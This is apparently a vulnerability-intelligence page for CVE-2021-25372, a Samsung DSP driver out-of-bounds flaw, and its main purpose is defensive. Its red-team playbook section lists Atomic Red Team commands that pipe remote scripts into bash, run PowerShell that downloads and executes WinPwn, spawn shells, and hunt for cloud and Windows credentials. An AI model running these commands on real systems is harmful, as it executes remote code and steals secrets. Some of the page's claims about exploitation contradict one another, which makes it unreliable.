CVE-2021-25372
Overview
This vulnerability is an out-of-bounds memory access caused by improper boundary checks within the Digital Signal Processor (DSP) driver of Samsung mobile devices. The root cause lies in the DSP driver's failure to validate input buffer sizes correctly, allowing memory reads or writes beyond allocated limits. This flaw affects the DSP driver component in Samsung Android operating system versions 10.0 and 11.0 prior to the SMR March 2021 Release 1.
Vulnerability Description
An improper boundary check in DSP driver prior to SMR Mar-2021 Release 1 allows out of bounds memory access.
Impact
An attacker with high-level privileges on the device can exploit this vulnerability to perform unauthorized memory access beyond intended boundaries. This can lead to corruption of kernel memory, potentially allowing escalation of privileges, arbitrary code execution within the kernel context, or denial of service via system instability. Exploitation requires authenticated access with elevated privileges, limiting remote attack feasibility but increasing risk from local privileged users or compromised applications. The real-world consequence includes full system compromise or disruption of device functionality.
Solution
Samsung has addressed this vulnerability in their March 2021 Security Maintenance Release (SMR) for Android versions 10.0 and 11.0. Users should apply the SMR March 2021 Release 1 or later updates to affected Samsung mobile devices. Detailed patch instructions and advisory information are available at Samsung's official security update portal: https://security.samsungmobile.com/securityUpdate.smsb. No specific workarounds are documented; timely application of the vendor-provided patches is recommended.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the DSP driver stems from an improper boundary check, which permits out-of-bounds memory access. This flaw can lead to various unintended behaviors, including data corruption, system crashes, or even arbitrary code execution. The DSP (Digital Signal Processor) is a critical component in mobile devices, particularly in handling audio and video processing tasks. When the boundary checks are inadequate, it becomes possible for an attacker to manipulate memory locations that should be off-limits, potentially compromising the integrity and confidentiality of the system. This vulnerability affects specific versions of Samsung's Android operating system, particularly those released in early 2021, highlighting the importance of timely updates and patches in maintaining system security.
Attack vectors for exploiting this vulnerability can vary, but they primarily involve local access to the affected devices. An attacker could craft malicious applications that leverage the DSP driver to execute arbitrary code. For instance, a rogue application could exploit this flaw by sending specially crafted input to the DSP, causing it to access memory locations beyond its intended boundaries. This could lead to the execution of malicious payloads, allowing the attacker to gain elevated privileges or access sensitive user data. Additionally, if the device is compromised, the attacker could potentially use it as a foothold for further attacks within the network, escalating the threat to other connected devices.
The real-world impact of this vulnerability can be significant, particularly for businesses that rely on Samsung devices for operations. If exploited, it could result in unauthorized access to confidential information, leading to data breaches that could have legal and financial ramifications. Furthermore, the potential for remote code execution means that attackers could take control of devices, disrupting business operations and damaging the organization's reputation. The risk is compounded in environments where sensitive data is processed, as the consequences of a breach could extend beyond immediate financial losses to long-term trust issues with customers and partners.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regularly updating devices to the latest firmware versions is crucial, as manufacturers often release patches to address known vulnerabilities. Additionally, employing application whitelisting can help prevent unauthorized applications from being installed and executed on devices. Security monitoring tools can also be deployed to detect unusual behavior indicative of exploitation attempts, such as unexpected memory access patterns or unauthorized application behavior. Educating users about the risks of installing unverified applications can further reduce the attack surface.
In conclusion, the improper boundary check in the DSP driver presents a notable security risk for affected Samsung Android devices. The potential for exploitation through local access underscores the need for robust security practices, including timely updates and user education. Organizations must remain vigilant in their cybersecurity efforts, as the implications of such vulnerabilities can extend far beyond individual devices, impacting overall business integrity and trust. By adopting proactive measures, businesses can mitigate the risks associated with this vulnerability and enhance their overall security posture.
CVE-2021-25372 has recently been added to the CISA Known Exploited Vulnerabilities (KEV) catalog, reflecting an elevated recognition of its potential impact within the security community. This inclusion is accompanied by a revision of its CVSS score from 0.0 to 6.1, indicating a reassessment of the vulnerability’s severity to a medium level. Correspondingly, the Exploit Prediction Scoring System (EPSS) score has increased, suggesting a modest but meaningful rise in the likelihood of exploitation. While no new exploit techniques or active campaigns have been observed through our telemetry, the formal acknowledgment by CISA underscores the necessity for heightened vigilance. For defenders, this change signals that CVE-2021-25372 should be prioritized in vulnerability management workflows, as it now carries a validated risk profile that could attract adversarial interest. The updated risk assessment elevates the threat level from negligible to moderate, emphasizing that although exploitation remains unconfirmed in the wild, the vulnerability’s potential for out-of-bounds memory access in Samsung mobile devices warrants closer attention and monitoring.
Affected Products (4)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Samsung | Android | 10.0 |
cpe:2.3:o:samsung:android:10.0:smr-feb-2021-r1:*:*:*:*:*:*
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|
|
Samsung | Android | 10.0 |
cpe:2.3:o:samsung:android:10.0:smr-jan-2021-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 11.0 |
cpe:2.3:o:samsung:android:11.0:smr-feb-2021-r1:*:*:*:*:*:*
|
|
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Samsung | Android | 11.0 |
cpe:2.3:o:samsung:android:11.0:smr-jan-2021-r1:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-25372 |
| security.samsungmobile.com |
GitHub CVE
x_refsource_CONFIRM
|
https://security.samsungmobile.com/securityUpdate.smsb |
| security.samsungmobile.com |
GitHub CVE
x_refsource_MISC
|
https://security.samsungmobile.com |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-25372 |